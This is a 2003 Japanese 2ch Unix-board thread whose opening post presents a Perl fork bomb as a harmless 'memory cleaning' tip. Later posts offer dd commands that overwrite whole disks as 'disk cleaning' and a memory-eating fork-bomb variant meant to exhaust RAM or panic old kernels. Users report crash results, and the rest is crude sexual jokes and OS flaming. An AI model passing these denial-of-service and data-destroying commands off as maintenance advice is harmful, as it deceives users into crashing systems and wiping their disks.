- 1 名前：名無しさん＠お腹いっぱい。 [03/06/19 01:31.net]
- UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
- 416 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/30 13:56.net]
- >>1
すばらしい。うまくいったよ。
お礼にディスククリーニング法を教えてあげる。
# dd if=/dev/zero of=(以下略
- 417 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/30 13:58.net]
- それ廃棄前にやってたなぁ。
ある意味クリーニング。
女の子が下着捨てるまえに洗濯してハサミで細切れにするのと似たようなもんだ。
- 418 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/30 22:35.net]
- >>417
そんな女嫌だなぁ。
- 419 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/30 23:36.net]
- >>417
それだったら/dev/zeroよりも/dev/urandomのほうがよくないかな。
ほんとうはさらにこれのXORを書いて、さらに/dev/urandomがよかったような...
# dd if=/dev/urandom of=あぼーん対象ディスク
でも、女の子が下着を捨てるときにはさみで細切れというのは聞いたことがあるな。
個人情報が書かれたものを捨てるときにシュレッダーにかけるのと同じようなもんだと
思うからもれはさほど抵抗はないが。
もれの女の下着で他の男にハァハァされるのは嫌だし。
- 420 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/30 23:59.net]
- コマンドを最後までかかない>>416は小心者。
たしかにやっちゃう人出そうだけれども。
- 421 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/01 00:30.net]
- >>418はそんなことされるとオカズがなくなっちゃうからムカツク
そのまま捨てろ と言いたいのではなかろうか。
- 422 名前：名無しさん＠お腹いっぱい。 [03/10/01 00:31.net]
- 変態が集うスレはここですか？
- 423 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/01 00:34.net]
- 変態は418だけで十分です
- 424 名前：418 mailto:sage [03/10/01 00:59.net]
- なんで俺が変態なんだよー
- 425 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/01 01:24.net]
- >>424
>>421の解釈が客観的にみて妥当だから
- 426 名前：418 mailto:sage [03/10/01 01:40.net]
- >>425
ただ俺は、そんな自意識過剰な女は嫌だってだけなんだけどね。
もう、そんなことを言ってももう聞いてもらえませんね。
すまなかったよ。変態として生きていきます。
- 427 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/01 02:22.net]
- もう来るなよ、変態。
- 428 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/01 08:07.net]
- >>426
ねた的には変態とののしっていたほうが面白いのだが、
たしかに自意識過剰な女は嫌だね。
自分に誇るべき価値は女であるということだけなのに3高を望んでたりすると
逝ってよしと思うしな。
- 429 名前：名無しさん＠お腹いっぱい。 [03/10/01 23:57.net]
- 3高
- 430 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/02 01:03.net]
- 個人を特定したパンツ泥棒というより
無差別的な泥棒の場合
女自身よりもパンツがそのまま捨てらている事自体が
泥棒を呼ぶエサになる。
周囲の人達の迷惑も考えて、「私のパンツだから盗まれるかもしれない」ではなく
「パンツをそのまま捨てたせいで、変態が寄ってきては大変だ」という意識であると思われる。
- 431 名前：名無しさん＠お腹いっぱい。 [03/10/02 01:34.net]
- パンツをそのまま捨てると野良パンツが寄って来て住み着いたりする。
夜中に大勢集まってにーにーとパンツ会議を始めてうるさい。
それだけならまだしも子を産んで増えたりすると大変。
だ か ら 切 り 刻 ん で 捨 て て や る の さ
- 432 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/02 01:51.net]
- ワイルドパンツに生存権を！！
- 野良ぱんつの蒸れがデモ行進
- 433 名前：ワイルドパンツ mailto:sage [03/10/02 02:04.net]
- 土曜の午後仕事で洗濯機を走らせていた
洗濯カゴからはみ出すブラ＆ズロース
昔よくマスかいたパンティー
へへいへい♪
- 434 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/02 02:08.net]
- 変態が居座っているスレはここですか?
- 435 名前：思い出の渚 mailto:sage [03/10/02 02:09.net]
- ぱんつ(キミ)を見つけたこの渚に
ひとりたたずみ思い出す
小麦いろしたかわいいシミ
忘れはしないいつまでも
港逃げるぱんつ盗んで
黒い透けパンレースなびかせ
股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん
股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん
- 436 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/02 02:55.net]
- >>431
死ね気違い
- 437 名前：名無しさん＠お腹いっぱい。 [03/10/02 23:20.net]
- 8243931931
- 438 名前：名無しさん＠お腹いっぱい。 [03/10/03 18:34.net]
- ぱんつのしみくさいくさい
- 439 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/04 02:13.net]
- うちのパンツしりませんか？
- 440 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/04 09:52.net]
- >>436
>>437
板違い
- 441 名前：名無しさん＠お腹いっぱい。 [03/10/04 13:53.net]
- パンツを切り刻んでる姿を想像してボッキした香具師挙手
- 442 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/05 00:10.net]
- マゾっけのある変態がいるスレはここですか?
- 443 名前：名無しさん＠お腹いっぱい。 [03/10/05 00:18.net]
- サドっけがあります
- 444 名前：名無しさん＠お腹いっぱい。 [03/10/05 00:49.net]
- 佐渡それは悲しい佐賀
- 445 名前：名無しさん＠お腹いっぱい。 [03/10/05 01:45.net]
- >>439
僕の右手知りませんか？
- 446 名前：名無しさん＠お腹いっぱい。 [03/10/05 23:25.net]
- 神の左手悪魔の右手
- 447 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/05 23:43.net]
- >>445
行方不明になったのか？
- 448 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/05 23:59.net]
- ミギーか手っちゃんなんだろ、>>445の右手は。
- 449 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/06 00:05.net]
- (゜o゜ ) ………
- 450 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/06 01:39.net]
- ( ﾟдﾟ)ﾎﾟｶｰﾝ
- 451 名前：名無しさん＠お腹いっぱい。 [03/10/06 21:49.net]
- ( ﾟдﾟ)ｶﾎﾟｰﾝ
- 452 名前：名無しさん＠お腹いっぱい。 [03/10/07 19:01.net]
- 男でもパンツは切り刻んでから捨てろ。
変態ホモにﾊｧﾊｧされてるかもしれないぞ。
- 453 名前：ホモ mailto:sage [03/10/07 22:08.net]
- >>452
むしろ光栄だな
- 454 名前：名無しさん＠お腹いっぱい。 [03/10/08 13:14.net]
- ホモはホモサピエンスの略である。
- 455 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/08 13:53.net]
- ホモはホモ牛乳の略である。
- 456 名前：名無しさん＠お腹いっぱい。 [03/10/09 00:15.net]
- ユニックスにメモリクリーニングなど必要ない!!
ーーーーーーー糸冬了ーーーーーーー
- 457 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/09 09:25.net]
- >>456
生産ラインにつないでいるユニックスマシンのメモリを
定期的に掃除機でクリーニングしていますが、何か。。。
- 458 名前：名無しさん＠お腹いっぱい。 [03/10/09 17:51.net]
- ついでに石鹸水でジャブジャブ洗っとけ
- 459 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/09 23:51.net]
- >>457
もれはメモリーだけではなくCPUクーラーも掃除するなぁ。
あとはファン周りとかM/Bとかケースの底にたまったほこりとか。
- 460 名前：名無しさん＠お腹いっぱい。 [03/10/10 02:48.net]
- ( ﾟдﾟ)ﾎﾟｶｰﾝ
- 461 名前：名無しさん＠お腹いっぱい。 [03/10/10 18:16.net]
- クリーニングしない椰子はPCから発火して焼け氏ね。
- 462 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/10 20:19.net]
- ddでディスククリーニングしちゃった香具師はいますか
- 463 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/11 00:17.net]
- クリーニングディスクにクリーニング液を数滴(湿式)
ドライブにいれたあと
dd if=/dev/fd0 of=/dev/null bs=512 count=200
- 464 名前：名無しさん＠お腹いっぱい。 [03/10/11 00:52.net]
- >>463
> クリーニングディスクにクリーニング液を数滴(湿式)
> ドライブにいれたあと
> dd if=/dev/fd0 of=/dev/null bs=512 count=200
間違い。 Linux の場合、下記が正しい。
ディスクアクセスが速くなった気がする。
dd if=/dev/hda of=/dev/zero bs=1024 count=10000
- 465 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/11 00:59.net]
- >>464
この板でそのOSの名前出すと
変なのがよりあつまってきますよ
- 466 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/11 10:11.net]
- >>465
「間違い」と言っている時点で喧嘩を売ってるから望むところなんじゃないか?
ここは犬板でないのに犬以外のOSについて書くと間違っているといわんばかりだしな。
Linux(kernel 2.4.20で確認)にも/dev/fd0や/dev/nullがあるのに
そういうこと書いているということは釣死だろうから
こういうことを書いてほしいがためにやってるんだろうが。
- 467 名前：名無しさん＠お腹いっぱい。 mailto:mv -f 464 /dev/null [03/10/11 12:02.net]
- あんたが正解。
最近のUNIX版はレベルが低下してて盛り上がりに
欠けるからわざとああいうふうに書きました。
適当なこと書いてごめんよ。
- 468 名前：名無しさん＠お腹いっぱい。 [03/10/12 00:09.net]
- ドル箱を積みましょう。
- 469 名前：名無しさん＠お腹いっぱい。 [03/10/31 17:42.net]
- ジャンジャンバリバリ
- 470 名前：名無しさん＠お腹いっぱい。 [03/11/11 13:56.net]
- あの・・・
Windowsって何ですか？
そんな古臭いＯＳなんてもう使えませんよ。
ま、ともかく
＊WindowsXPプリインストールＰＣを買う奴：気違い
＊WindowsXPを買う奴：世界の経済を狂わせる奴
＊WindowsXPをMXとかからダウンロードする奴：世界経済を安定化させる勇者
どうしても、WindowsXPを使いたければ、ダウンロードして、購入資金を
赤十字に寄付しましょう。
それでなければ、OpenBSDでもインストール汁
- 471 名前：名無しさん＠お腹いっぱい。 [03/11/11 14:29.net]
- M$に嫉妬するなよ。
- 472 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/11 15:48.net]
- 釣れた釣れた
- 473 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/12 01:55.net]
- OpenBSDって近頃やっとELFに移行した時代遅れさんでしょ？
- 474 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/12 09:47.net]
- >>470
独り言はetc.2ch.net/hikky/でやってくれ。
>>473
昔のFreeBSDもそうだけれどaoutでダイナミックリンクを実現する仕組みが
あったためにELFに移行する必要性がさほど無かったのではないかな。
んま、ELFになったほうがいろいろと便利なことはあるけど。
- 475 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/13 05:22.net]
- >>474
煽りに親切すぎ
でも勉強になった
- 476 名前：名無しさん＠お腹いっぱい。 [03/11/22 20:06.net]
- リナックス氏ね
- 477 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/22 21:21.net]
- だから、そのスクリプトを入力をすれば氏ぬってば
- 478 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/22 21:29.net]
- 死なないんですけど
- 479 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/23 00:39.net]
- $ perl -e 'while (1) { fork; }'
で、氏なないってのかい？
- 480 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/23 01:10.net]
- 死なないな
つか、frokしただけで死ぬかよ
- 481 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/23 01:15.net]
- >>479
スレをよく嫁
ｶﾞｲｼｭﾂすぎてつまらん新しいネタもってこいやヴォケ
- 482 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/23 01:30.net]
- >>479
15分くらい放置してみた
数えたわけじゃないけど、15分もあれば相当な数の無駄プロセスが生成されてるが
既存のプロセスは何の問題もなく動いてる
新しいプロセスも生成できた
perlの親プロセス殺したら即座に無駄プロセス全部消えた
これでほんとに死ぬのかよ
うちは死ぬ気配どころか、何の悪影響も及ぼしてないんだが
- 483 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/23 12:06.net]
- 犬のことはよく知らんけど、一つの親から作れる子プロセス数に制限があるのかな?
uname -aしてkernelのバージョンいくつか教えて。
- 484 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/23 15:01.net]
- >>483
Linux Murder 2.6.0-test9-mm5
最大のプロセス数は、kernelのヘッダの中のどれかに書いてあると思ったが
数万個だったと思う。たぶん65535個？
2.4.20-ck6でも検証したけど同じく死なないよ。
たぶんこれで死ぬとしたらプロセスの生成にハードの性能が追いつかない
メモリが足りない、CPUがトロいなんかの理由で固まるんでないの？
- 485 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/24 09:31.net]
- いや、プロセステーブルを使い切って死ぬという話だったと思うよ。
ちなみに実行したのは一般ユーザー?root?
過去のレスには一般ユーザーなら平気だけれどrootでやると固まるという報告があるね。
何の影響もないということだけれど、一瞬すごく動作がとろくなるということもないの?
- 486 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/24 15:20.net]
- >>485
rootも一般ユーザも試したよ。
動作がトロくはなってないなぁ。
どれくらい変るもんなのかってのが疑問だが、体感する程遅いようなことはなかった。
放置した15分間はfirebirdで/.Jにコメントつけたり
2chで他のスレ見たりしてたけど、遅くなった感じはない。
firebirdは、無限forkを始めてから起動させた。
forkする様子をみるためにtop起動させて監視してたら
firebirdの起動スクリプトが一瞬でて、またすぐperl埋めつくされ
また一瞬firebirdのスレッドが表示されたと思ったら
またもやperlに埋めつくされた。
その後rootで無限forkさせたときは、mikmodでmodきいてた。
音が途切れることもなかったし、途中で始めたdilloのmakeも滞りなく終ったよ。
その後2.4.20-ck6で検証したんだけど、それは別マシン。
そっちはファイル倉庫にしてあるやつで、httpとsshがdeamonとして常駐してる。
20分近く放置してあったけど特に問題はないな。
外部の公開してるわけじゃないので、セキュリティ対策はほとんどしてない。
こっちは一般ユーザで検証するのが面倒なので、rootでのみ検証した。
どっちのマシンもCPUとメモリはほぼ同じ
2.6がノートで、2.4のほうはデスクトップ
ノートはPentium3 500Mhz Memory 256MB(オンボードメモリは無し)
デスクトップの方はCPUは同じ(だけどデスクトップ用のPentium3)、そしてノートより若干メモリが多い(オンボード + 256MB)
ディストリはどちらもGentoo Linux。
ノートの方はマメにアップデートしてるので
Gentoo 1.4で~x86(unstable)な環境。
デスクトップの方はほとんどイジってないので
Gentoo 1.4-rc4のままだったかな。
- 487 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/24 23:56.net]
- debianは氏んだ
- 488 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/25 00:40.net]
- 単にforkするよりも大量にスレッド生成するプロセスをforkしまくって
猶且 大量のメモリ確保したらどうだろうか
スレッドの生成とメモリ確保のコストの高さを利用して落すという単純な発想だが
CPUとメモリに余裕のある業務用の高級鯖マシンでもなければ
大概のOSがコロっといくと思うんだが
わざわざそんなの書くのもマンドクサイのでsage
#少なくとも1CPUでメモリが256、512程度だとまずどのOSも耐えられないと思う
- 489 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/26 15:26.net]
- >>487
氏ななかったよ。
% uname -r
2.6.0-test10
- 490 名前：名無しさん＠お腹いっぱい。 [03/11/26 19:30.net]
- ち……………ちんこ！
- 491 名前：名無しさん＠お腹いっぱい。 [03/11/29 16:32.net]
- まんこ！
- 492 名前：名無しさん＠お腹いっぱい。 [03/12/01 02:43.net]
- なんじゃこりゃあああああああああああああああああああああ
かたまった！！！！！！！！！！！！！！！！！！！！！！！！
- 493 名前：名無しさん＠お腹いっぱい。 [03/12/01 15:23.net]
- >>492が勃起したらしいです
- 494 名前：名無しさん＠お腹いっぱい。 [03/12/01 19:31.net]
- つーことで
そろそろまとめろや
os ver user root
でいいから書きやがれ
- 495 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/01 22:00.net]
- プロセス無限増殖で落ちるのはWinとDOSくらいでしょ
- 496 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/01 23:26.net]
- RedHat9 kernel2.4.20 user落ちない root落ちる （userでも落とせなくはない）
- 497 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/01 23:48.net]
- Debian woody kernel 2.4.23 user 落ちない root 落ちない
Debian woody kernel 2.4.20-ck7 user 落ちない root 落ちない
Gentoo 1.4(~x86) kernel 2.6.0-test11 user 落ちない root 落ちない
Gentoo 1.4(x86) gentoo-sources-2.4.20-r8 user 落ちない root 落ちない
番外
FreeBSD 4.8R user 落ちない root 落ちない
- 498 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/02 10:49.net]
- >プロセス無限増殖で落ちるのはWinとDOSくらいでしょ
DOS???
- 499 名前：_ mailto:sage [03/12/02 18:31.net]
- >>398
Appollo Domain の Aegisには ACLはいってましたが？
つーか、それだって最初じゃないよなぁ。
古れすすまんのぉ。
- 500 名前：_ mailto:sage [03/12/02 18:45.net]
- >>488
確保しても書き込みとかしてpage-inさせないとMapされておしまいだし、
読み出してもどうせ同一ページ参照されるだけでメモリは消費されない。
Process/Thread 大量につくってもTextは同一ページだから同じ。
ProcessTable消費されるだけ。
vmのいじめ方しらない香具師おおいな。
- 501 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/02 19:19.net]
- 知ってる人ｷﾀ━ヾ( )ﾉ゛ヾ( ﾟд)ﾉ゛ヾ(ﾟдﾟ)ﾉ゛ヾ(дﾟ )ﾉ゛ヾ( )ﾉ゛━━!!
じゃあ、そのイジメかたとやらを書いてみてはいかが？
- 502 名前：_ mailto:sage [03/12/02 23:36.net]
- userland で簡単なのは実際にメモリを使えばいいわけだから
perl -e 'while(1){local($time)=time; fork;}'
かな？ とりあえず使い切るまでメモリつかってくれるはず。
途中で新プロセスがメモリ使えなくなってkillされるけど、懲りずに
つづけてれば既存processやdaemon processで新規ページがとれずに
そっちがkillされはじめるよ。
limitでプロセス制限かかってるなら、消費するメモリサイズを大きめに
とること。逆にいうと、管理者はdatasizeとmaxprocを適切に管理する事。
- 503 名前：_ mailto:sage [03/12/02 23:43.net]
- また、古い（いまも残ってる）system だと datasizeはexecとmmap時にしか
参照しないんで、datasizeよりちょい少なめでmallocかけると実際にメモリ
（Swap込み）が足りなくても allocateは成功する。
で、古いvm（mach64 vmベースでいまも残ってるかも）だと page 使い切った
時点で panic するから、これやるとかたまるどころかkernel panicまで
もちこめるよ。
ためしてみそ。
- 504 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/03 01:36.net]
- ためしてみそといわれても、さすがに古いシステムさがすの大変なんだが
- 505 名前：名無しさん＠お腹いっぱい。 [03/12/03 16:06.net]
- リナックスは落ちる糞OS！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
- 506 名前：名無しさん＠お腹いっぱい。 [03/12/03 17:46.net]
- ウィンドウズは何もしなくても落ちる糞OS！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
- 507 名前：名無しさん＠お腹いっぱい。 [03/12/05 20:33.net]
- メモリの掃除ぐらいしろ
- 508 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/07 12:25.net]
- ぼくの部屋も掃除が必要です。
- 509 名前：名無しさん＠お腹いっぱい。 [03/12/08 15:37.net]
- 害虫駆除業者が必要です。
- 510 名前：名無しさん＠お腹いっぱい。 [03/12/10 14:57.net]
- リナックスはうんこ
そろそろ認めろよ
- 511 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/10 15:03.net]
- じゃ、なにが、もすすめだね？
- 512 名前：名無しさん＠お腹いっぱい。 [03/12/10 16:25.net]
- Ｗｉｎｄｏｗｓ
- 513 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/10 16:26.net]
- >>512
せめてLinux以上の物を言ってくれ
- 514 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/10 19:15.net]
- ソラリスは？
- 515 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/10 19:28.net]
- LinuxがいつWindows以上になったんだ？
- 516 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/11 02:02.net]
- >>515
激しく同意。
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